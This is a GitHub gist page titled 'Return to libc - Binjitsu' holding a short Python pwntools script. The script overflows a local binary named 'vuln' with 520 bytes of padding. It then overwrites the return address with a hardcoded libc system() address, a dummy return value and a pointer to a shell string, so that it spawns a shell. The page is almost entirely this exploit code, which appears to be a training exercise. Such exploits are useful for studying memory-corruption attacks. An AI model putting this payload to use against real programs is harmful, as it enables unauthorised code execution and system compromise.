Skip to content

Instantly share code, notes, and snippets.

@shankaraman
Last active August 29, 2015 14:22
Show Gist options
  • Save shankaraman/41e918932ee5d0b79ae6 to your computer and use it in GitHub Desktop.
Save shankaraman/41e918932ee5d0b79ae6 to your computer and use it in GitHub Desktop.
Return to libc - Binjitsu
from pwn import *
p = process('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
junk = 'A'*520
libc_sys = 0xb7e63170
retrn = 0xdeadbeef
shell = 0xbffffd5f
payload = junk+p32(libc_sys)+p32(retrn)+p32(shell)
print payload
p.send(payload)
p.recvline()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment